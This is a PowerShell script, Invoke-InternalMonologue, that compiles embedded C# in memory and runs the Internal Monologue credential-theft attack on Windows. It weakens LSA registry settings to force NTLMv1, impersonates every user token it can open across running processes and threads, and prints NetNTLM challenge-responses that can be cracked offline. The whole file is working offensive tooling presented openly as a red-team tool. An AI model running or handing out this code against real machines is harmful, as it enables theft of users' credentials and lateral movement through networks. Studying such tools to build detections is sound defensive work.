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Invoke-InternalMonologue.ps1
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Invoke-InternalMonologue.ps1
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function Invoke-InternalMonologue
{
<#
.SYNOPSIS
Retrieves NTLMv1 challenge-response for all available users
.DESCRIPTION
Downgrades to NTLMv1, impersonates all available users and retrieves a challenge-response for each.
Author: Elad Shamir (https://linkedin.com/in/eladshamir)
.EXAMPLE
Invoke-InternalMonologue
.LINK
https://github.com/eladshamir/Internal-Monologue
.PARAMETER Challenge
Specifies the NTLM challenge to be used. An 8-byte long value in ascii-hex representation. Optional. Defult is 1122334455667788.
.PARAMETER Downgrade
Specifies whether to perform an NTLM downgrade or not [True/False]. Optional. Defult is true. Use switch to disable Downgrade
.PARAMETER Impersonate
Specifies whether to try to impersonate all other available users or not [True/False]. Optional. Defult is true. Use switch to disable Impersonate
.PARAMETER Restore
Specifies whether to restore the original values from before the NTLM downgrade or not [True/False]. Optional. Defult is true. Use switch to disable Restore
.PARAMETER Verbose
Specifies whether print verbose output or not [True/False]. Optional. Defult is false.
#>
[CmdletBinding()]
Param(
[Parameter(Position = 0)]
[String]
$Challenge,
[Switch]
$Downgrade,
[Switch]
$Impersonate,
[Switch]
$Restore
)
# Invert flags so that options run by default; Switches are used to disable a feature
if ($Downgrade){$Downgrade = $False} Else {$Downgrade = $True}
if ($Impersonate){$Impersonate = $False} Else {$Impersonate = $True}
if ($Restore){$Restore = $False} Else {$Restore = $True}
if ($PSBoundParameters['Verbose']){$v = $True} Else {$v = $False}
if ($Challenge -eq $null -or $Challenge -eq ""){$Challenge = "1122334455667788"}
$Source = @"
using System;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text.RegularExpressions;
namespace InternalMonologue
{
public class Program
{
const int MAX_TOKEN_SIZE = 12288;
struct TOKEN_USER
{
public SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_GROUPS
{
public int GroupCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public SID_AND_ATTRIBUTES[] Groups;
};
[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid);
[DllImport("kernel32.dll")]
static extern IntPtr LocalFree(IntPtr hMem);
[DllImport("secur32.dll", CharSet = CharSet.Auto)]
static extern int AcquireCredentialsHandle(
string pszPrincipal,
string pszPackage,
int fCredentialUse,
IntPtr PAuthenticationID,
IntPtr pAuthData,
int pGetKeyFn,
IntPtr pvGetKeyArgument,
ref SECURITY_HANDLE phCredential,
ref SECURITY_INTEGER ptsExpiry);
[DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int InitializeSecurityContext(
ref SECURITY_HANDLE phCredential,
IntPtr phContext,
string pszTargetName,
int fContextReq,
int Reserved1,
int TargetDataRep,
IntPtr pInput,
int Reserved2,
out SECURITY_HANDLE phNewContext,
out SecBufferDesc pOutput,
out uint pfContextAttr,
out SECURITY_INTEGER ptsExpiry);
[DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int InitializeSecurityContext(
ref SECURITY_HANDLE phCredential,
ref SECURITY_HANDLE phContext,
string pszTargetName,
int fContextReq,
int Reserved1,
int TargetDataRep,
ref SecBufferDesc SecBufferDesc,
int Reserved2,
out SECURITY_HANDLE phNewContext,
out SecBufferDesc pOutput,
out uint pfContextAttr,
out SECURITY_INTEGER ptsExpiry);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetTokenInformation(
IntPtr TokenHandle,
int TokenInformationClass,
IntPtr TokenInformation,
int TokenInformationLength,
out int ReturnLength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
int dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
int ImpersonationLevel,
int dwTokenType,
ref IntPtr phNewToken);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenThread(int dwDesiredAccess, bool bInheritHandle,
IntPtr dwThreadId);
private static void GetRegKey(string key, string name, out object result)
{
RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key);
if (Lsa != null)
{
object value = Lsa.GetValue(name);
if (value != null)
{
result = value;
return;
}
}
result = null;
}
private static void SetRegKey(string key, string name, object value)
{
RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key, true);
if (Lsa != null)
{
if (value == null)
{
Lsa.DeleteValue(name);
}
else
{
Lsa.SetValue(name, value);
}
}
}
private static void ExtendedNTLMDowngrade(out object oldValue_LMCompatibilityLevel, out object oldValue_NtlmMinClientSec, out object oldValue_RestrictSendingNTLMTraffic)
{
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", out oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", out oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", out oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
private static void NTLMRestore(object oldValue_LMCompatibilityLevel, object oldValue_NtlmMinClientSec, object oldValue_RestrictSendingNTLMTraffic)
{
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
//Retrieves the SID of a given token
public static string GetLogonId(IntPtr token)
{
string SID = null;
try
{
StringBuilder sb = new StringBuilder();
int TokenInfLength = 1024;
IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
Boolean Result = GetTokenInformation(token, 1, TokenInformation, TokenInfLength, out TokenInfLength);
if (Result)
{
TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
IntPtr pstr = IntPtr.Zero;
Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
SID = Marshal.PtrToStringAuto(pstr);
LocalFree(pstr);
}
Marshal.FreeHGlobal(TokenInformation);
return SID;
}
catch
{
CloseHandle(token);
return null;
}
}
public static void HandleProcess(Process process, string challenge, bool verbose)
{
try
{
var token = IntPtr.Zero;
var dupToken = IntPtr.Zero;
string SID = null;
if (OpenProcessToken(process.Handle, 0x0008, ref token))
{
//Get the SID of the token
SID = GetLogonId(token);
CloseHandle(token);
//Check if this user hasn't been handled yet
if (SID != null && authenticatedUsers.Contains(SID) == false)
{
if (OpenProcessToken(process.Handle, 0x0002, ref token))
{
var sa = new SECURITY_ATTRIBUTES();
sa.nLength = Marshal.SizeOf(sa);
DuplicateTokenEx(
token,
0x0002 | 0x0008,
ref sa,
(int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
(int)1,
ref dupToken);
CloseHandle(token);
try
{
using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken))
{
if (verbose == true) Console.WriteLine("Impersonated user " + WindowsIdentity.GetCurrent().Name);
string result = InternalMonologueForCurrentUser(challenge);
//Ensure it is a valid response and not blank
if (result != null && result.Length > 0)
{
Console.WriteLine(result);
authenticatedUsers.Add(SID);
}
else if (verbose == true) { Console.WriteLine("Got blank response for user " + WindowsIdentity.GetCurrent().Name); }
}
}
catch
{ /*Does not need to do anything if it fails*/ }
finally
{
CloseHandle(dupToken);
}
}
}
}
}
catch (Exception)
{ /*Does not need to do anything if it fails*/ }
}
public static void HandleThread(ProcessThread thread, string challenge, bool verbose)
{
try
{
var token = IntPtr.Zero;
var dupToken = IntPtr.Zero;
string SID = null;
//Try to get thread handle
var handle = OpenThread(0x0040, true, new IntPtr(thread.Id));
//If failed, return
if (handle == IntPtr.Zero)
{
return;
}
if (OpenThreadToken(handle, 0x0008, true, ref token))
{
//Get the SID of the token
SID = GetLogonId(token);
CloseHandle(token);
//Check if this user hasn't been handled yet
if (SID != null && authenticatedUsers.Contains(SID) == false)
{
if (OpenThreadToken(handle, 0x0002, true, ref token))
{
var sa = new SECURITY_ATTRIBUTES();
sa.nLength = Marshal.SizeOf(sa);
DuplicateTokenEx(
token,
0x0002 | 0x0008,
ref sa,
(int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
(int)1,
ref dupToken);
CloseHandle(token);
try
{
using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken))
{
if (verbose == true) Console.WriteLine("Impersonated user " + WindowsIdentity.GetCurrent().Name);
string result = InternalMonologueForCurrentUser(challenge);
//Ensure it is a valid response and not blank
if (result != null && result.Length > 0)
{
Console.WriteLine(result);
authenticatedUsers.Add(SID);
}
else if (verbose == true) { Console.WriteLine("Got blank response for user " + WindowsIdentity.GetCurrent().Name); }
}
}
catch
{ /*Does not need to do anything if it fails*/ }
finally
{
CloseHandle(dupToken);
}
}
}
}
}
catch (Exception)
{ /*Does not need to do anything if it fails*/ }
}
//Maintains a list of handled users
static List<string> authenticatedUsers = new List<string>();
//Parse command line arguments
static Dictionary<string, string> ParseArgs(string[] args)
{
Dictionary<string, string> ret = new Dictionary<string, string>();
if (args.Length % 2 == 0 && args.Length > 0)
{
for (int i = 0; i < args.Length; i = i + 2)
{
ret.Add(args[i].Substring(1).ToLower(), args[i + 1].ToLower());
}
}
return ret;
}
private static void PrintError(string message)
{
Console.WriteLine();
Console.WriteLine("Error: " + message);
PrintHelp();
}
private static void PrintHelp()
{
Console.WriteLine();
Console.WriteLine("Usage:");
Console.WriteLine("InternalMonologue -Downgrade True/False -Restore True/False - Impersonate True/False -Verbose True/False -Challenge ascii-hex");
Console.WriteLine("Example:");
Console.WriteLine("InternalMonologue -Downgrade False -Restore False -Impersonate True -Verbose False -Challenge 1122334455667788");
Console.WriteLine();
Console.WriteLine("Downgrade - Specifies whether to perform an NTLM downgrade or not [True/False]. Optional. Defult is true.");
Console.WriteLine("Restore - Specifies whether to restore the original values from before the NTLM downgrade or not [True/False]. Optional. Defult is true.");
Console.WriteLine("Impersonate - Specifies whether to try to impersonate all other available users or not [True/False]. Optional. Defult is true.");
Console.WriteLine("Verbose - Specifies whether print verbose output or not [True/False]. Optional. Defult is false.");
Console.WriteLine("Challenge - Specifies the NTLM challenge to be used. An 8-byte long value in ascii-hex representation. Optional. Defult is 1122334455667788.");
Console.WriteLine();
}
public static void Main(string[] args)
{
Dictionary<string, string> argDict = ParseArgs(args);
//Set defaults
bool impersonate = true, downgrade = true, restore = true, verbose = false;
string challenge = "1122334455667788";
if (args.Length > 0 && argDict.Count == 0)
{
PrintHelp();
return;
}
else if (args.Length == 0)
{
Console.Error.WriteLine("Running with default settings. Type -Help for more information.\n");
}
if (argDict.ContainsKey("impersonate"))
{
if (bool.TryParse(argDict["impersonate"], out impersonate) == false)
{
PrintError("Impersonate must be a boolean value (True/False)");
return;
}
}
if (argDict.ContainsKey("downgrade"))
{
if (bool.TryParse(argDict["downgrade"], out downgrade) == false)
{
PrintError("Downgrade must be a boolean value (True/False)");
return;
}
}
if (argDict.ContainsKey("restore"))
{
if (bool.TryParse(argDict["restore"], out restore) == false)
{
PrintError("Restore must be a boolean value (True/False)");
return;
}
}
if (argDict.ContainsKey("verbose"))
{
if (bool.TryParse(argDict["verbose"], out verbose) == false)
{
PrintError("Verbose must be a boolean value (True/False)");
return;
}
}
if (argDict.ContainsKey("challenge"))
{
challenge = argDict["challenge"].ToUpper();
if (Regex.IsMatch(challenge, @"^[0-9A-F]{16}$") == false)
{
PrintError("Challenge must be a 8-byte long value in asciihex representation. (e.g. 1122334455667788)");
return;
}
}
//Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated
if (IsElevated())
{
if (verbose == true) Console.WriteLine("Running elevated");
object oldValue_LMCompatibilityLevel = null;
object oldValue_NtlmMinClientSec = null;
object oldValue_RestrictSendingNTLMTraffic = null;
if (downgrade == true)
{
if (verbose == true) Console.WriteLine("Performing NTLM Downgrade");
//Perform an Extended NetNTLM Downgrade and store the current values to restore them later
ExtendedNTLMDowngrade(out oldValue_LMCompatibilityLevel, out oldValue_NtlmMinClientSec, out oldValue_RestrictSendingNTLMTraffic);
}
if (impersonate == true)
{
if (verbose == true) Console.WriteLine("Starting impersonation");
foreach (Process process in Process.GetProcesses())
{
if (process.ProcessName.Contains("lsass") == false) // Do not touch LSASS
{
HandleProcess(process, challenge, verbose);
foreach (ProcessThread thread in process.Threads)
{
HandleThread(thread, challenge, verbose);
}
}
}
}
else
{
if (verbose == true) Console.WriteLine("Performing attack on current user only (no impersonation)");
Console.WriteLine(InternalMonologueForCurrentUser(challenge));
}
if (downgrade == true && restore == true)
{
if (verbose == true) Console.WriteLine("Restoring NTLM values");
//Undo changes made in the Extended NetNTLM Downgrade
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
}
}
else
{
//If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user
if (verbose == true) Console.WriteLine("Not elevated. Performing attack with current NTLM settings on current user");
Console.WriteLine(InternalMonologueForCurrentUser(challenge));
}
}
//This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788
private static string InternalMonologueForCurrentUser(string challenge)
{
SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);
SECURITY_HANDLE _hOutboundCred;
_hOutboundCred.LowPart = _hOutboundCred.HighPart = IntPtr.Zero;
SECURITY_INTEGER ClientLifeTime;
ClientLifeTime.LowPart = 0;
ClientLifeTime.HighPart = 0;
SECURITY_HANDLE _hClientContext;
uint ContextAttributes = 0;
// Acquire credentials handle for current user
AcquireCredentialsHandle(
WindowsIdentity.GetCurrent().Name,
"NTLM",
2,
IntPtr.Zero,
IntPtr.Zero,
0,
IntPtr.Zero,
ref _hOutboundCred,
ref ClientLifeTime
);
// Get a type-1 message from NTLM SSP
InitializeSecurityContext(
ref _hOutboundCred,
IntPtr.Zero,
WindowsIdentity.GetCurrent().Name,
0x00000800,
0,
0x10,
IntPtr.Zero,
0,
out _hClientContext,
out ClientToken,
out ContextAttributes,
out ClientLifeTime
);
ClientToken.Dispose();
ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);
// Custom made type-2 message with the specified challenge
byte[] challengeBytes = StringToByteArray(challenge);
SecBufferDesc ServerToken = new SecBufferDesc(new byte[] { 78, 84, 76, 77, 83, 83, 80, 0, 2, 0, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 1, 0x82, 0, 0, challengeBytes[0], challengeBytes[1], challengeBytes[2], challengeBytes[3], challengeBytes[4], challengeBytes[5], challengeBytes[6], challengeBytes[7], 0, 0, 0, 0, 0, 0, 0 });
InitializeSecurityContext(
ref _hOutboundCred,
ref _hClientContext,
WindowsIdentity.GetCurrent().Name,
0x00000800,
0,
0x10,
ref ServerToken,
0,
out _hClientContext,
out ClientToken,
out ContextAttributes,
out ClientLifeTime
);
byte[] result = ClientToken.GetSecBufferByteArray();
ClientToken.Dispose();
ServerToken.Dispose();
//Extract the NetNTLM response from a type-3 message and return it
return ParseNTResponse(result, challenge);
}
//This function parses the NetNTLM response from a type-3 message
private static string ParseNTResponse(byte[] message, string challenge)
{
ushort lm_resp_len = BitConverter.ToUInt16(message, 12);
uint lm_resp_off = BitConverter.ToUInt32(message, 16);
ushort nt_resp_len = BitConverter.ToUInt16(message, 20);
uint nt_resp_off = BitConverter.ToUInt32(message, 24);
ushort domain_len = BitConverter.ToUInt16(message, 28);
uint domain_off = BitConverter.ToUInt32(message, 32);
ushort user_len = BitConverter.ToUInt16(message, 36);
uint user_off = BitConverter.ToUInt32(message, 40);
byte[] lm_resp = new byte[lm_resp_len];
byte[] nt_resp = new byte[nt_resp_len];
byte[] domain = new byte[domain_len];
byte[] user = new byte[user_len];
Array.Copy(message, lm_resp_off, lm_resp, 0, lm_resp_len);
Array.Copy(message, nt_resp_off, nt_resp, 0, nt_resp_len);
Array.Copy(message, domain_off, domain, 0, domain_len);
Array.Copy(message, user_off, user, 0, user_len);
string result = null;
if (nt_resp_len == 24)
{
result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + ByteArrayToString(lm_resp) + ":" + ByteArrayToString(nt_resp) + ":" + challenge;
}
else if (nt_resp_len > 24)
{
result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + challenge + ":" + ByteArrayToString(nt_resp).Substring(0,32) + ":" + ByteArrayToString(nt_resp).Substring(32);
}
return result;
}
//The following function is taken from https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa
private static string ByteArrayToString(byte[] ba)
{
StringBuilder hex = new StringBuilder(ba.Length * 2);
foreach (byte b in ba)
hex.AppendFormat("{0:x2}", b);
return hex.ToString();
}
//This function is taken from https://stackoverflow.com/questions/3600322/check-if-the-current-user-is-administrator
private static bool IsElevated()
{
return (new WindowsPrincipal(WindowsIdentity.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator);
}
//This function is taken from https://stackoverflow.com/questions/321370/how-can-i-convert-a-hex-string-to-a-byte-array
public static byte[] StringToByteArray(string hex)
{
if (hex.Length % 2 == 1)
return null;
byte[] arr = new byte[hex.Length >> 1];
for (int i = 0; i < hex.Length >> 1; ++i)
{
arr[i] = (byte)((GetHexVal(hex[i << 1]) << 4) + (GetHexVal(hex[(i << 1) + 1])));
}
return arr;
}
//This function is taken from https://stackoverflow.com/questions/321370/how-can-i-convert-a-hex-string-to-a-byte-array
public static int GetHexVal(char hex)
{
int val = (int)hex;
return val - (val < 58 ? 48 : 55);
}
//This function is taken from https://stackoverflow.com/questions/5613279/c-sharp-hex-to-ascii
public static string ConvertHex(String hexString)
{
string ascii = string.Empty;
for (int i = 0; i < hexString.Length; i += 2)
{
String hs = string.Empty;
hs = hexString.Substring(i, 2);
if (hs == "00")
continue;
uint decval = System.Convert.ToUInt32(hs, 16);
char character = System.Convert.ToChar(decval);
ascii += character;
}
return ascii;
}
}
struct SecBuffer : IDisposable
{
public int cbBuffer;
public int BufferType;
public IntPtr pvBuffer;
public SecBuffer(int bufferSize)
{
cbBuffer = bufferSize;
BufferType = 2;
pvBuffer = Marshal.AllocHGlobal(bufferSize);
}
public SecBuffer(byte[] secBufferBytes)
{
cbBuffer = secBufferBytes.Length;
BufferType = 2;
pvBuffer = Marshal.AllocHGlobal(cbBuffer);
Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
}
public SecBuffer(byte[] secBufferBytes, int bufferType)
{
cbBuffer = secBufferBytes.Length;
BufferType = (int)bufferType;
pvBuffer = Marshal.AllocHGlobal(cbBuffer);
Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
}
public void Dispose()
{
if (pvBuffer != IntPtr.Zero)
{
Marshal.FreeHGlobal(pvBuffer);
pvBuffer = IntPtr.Zero;
}
}
}
struct SecBufferDesc : IDisposable
{
public int ulVersion;
public int cBuffers;
public IntPtr pBuffers;
public SecBufferDesc(int bufferSize)
{
ulVersion = 0;
cBuffers = 1;
SecBuffer ThisSecBuffer = new SecBuffer(bufferSize);
pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
}
public SecBufferDesc(byte[] secBufferBytes)
{
ulVersion = 0;
cBuffers = 1;
SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes);
pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
}
public void Dispose()
{
if (pBuffers != IntPtr.Zero)
{
if (cBuffers == 1)
{
SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
ThisSecBuffer.Dispose();
}
else
{
for (int Index = 0; Index < cBuffers; Index++)
{
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
Marshal.FreeHGlobal(SecBufferpvBuffer);
}
}
Marshal.FreeHGlobal(pBuffers);
pBuffers = IntPtr.Zero;
}
}
public byte[] GetSecBufferByteArray()
{
byte[] Buffer = null;
if (pBuffers == IntPtr.Zero)
{
throw new InvalidOperationException("Object has already been disposed!!!");
}
if (cBuffers == 1)
{
SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
if (ThisSecBuffer.cbBuffer > 0)
{
Buffer = new byte[ThisSecBuffer.cbBuffer];
Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer);
}
}
else
{
int BytesToAllocate = 0;
for (int Index = 0; Index < cBuffers; Index++)
{
//calculate the total number of bytes we need to copy...
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset);
}
Buffer = new byte[BytesToAllocate];
for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++)
{
//Now iterate over the individual buffers and put them together into a byte array...
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset);
IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy);
BufferIndex += BytesToCopy;
}
}
return (Buffer);
}
}
struct SECURITY_INTEGER
{
public uint LowPart;
public int HighPart;
};
struct SECURITY_HANDLE
{
public IntPtr LowPart;
public IntPtr HighPart;
};
struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
}
"@
$inmem=New-Object -TypeName System.CodeDom.Compiler.CompilerParameters
$inmem.GenerateInMemory=1
$inmem.ReferencedAssemblies.AddRange($(@("System.dll", $([PSObject].Assembly.Location))))
Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $inmem
# Space needed in front of dictionary key name
[InternalMonologue.Program]::Main(@(" challenge",$Challenge," downgrade",$Downgrade," impersonate",$Impersonate," restore",$Restore," verbose",$v))
}